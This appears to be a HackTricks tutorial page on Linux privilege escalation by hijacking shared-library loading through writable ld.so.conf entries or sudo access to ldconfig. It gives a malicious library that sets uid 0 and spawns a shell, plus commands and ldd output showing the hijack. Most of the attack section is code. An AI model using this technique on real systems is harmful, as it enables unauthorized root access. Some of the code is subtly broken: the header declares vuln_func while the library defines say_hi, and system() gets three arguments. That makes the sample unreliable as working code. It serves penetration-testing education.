hacktricks/linux-unix/privilege-escalation/ld.so.conf-example.md
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# ld.so exploit example
## Prepare the environment
In the following section you can find the code of the files we are going to use to prepare the environment
{% tabs %}
{% tab title="sharedvuln.c" %}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{% endtab %}
{% tab title="libcustom.h" %}
```c
#include <stdio.h>
void vuln_func();
```
{% endtab %}
{% tab title="libcustom.c" %}
```c
#include <stdio.h>
void say_hi()
{
puts("Hi");
}
```
{% endtab %}
{% endtabs %}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy **_ libcustom.so_ to _/usr/lib_: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Downloadand compile** the following code inside that path:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void say_hi(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
```c
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
```
{% hint style="info" %}
Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
{% endhint %}
### Other misconfigurations - Same vuln
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside **_**/tmp**_.\
And finally, lets load the path and check where is the binary loading the library from:
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
{% hint style="info" %}
I **didn't find** a reliable way to exploit this vuln if `ldconfig` is configured with the **suid bit**. The following error appear: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
{% endhint %}
## References
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
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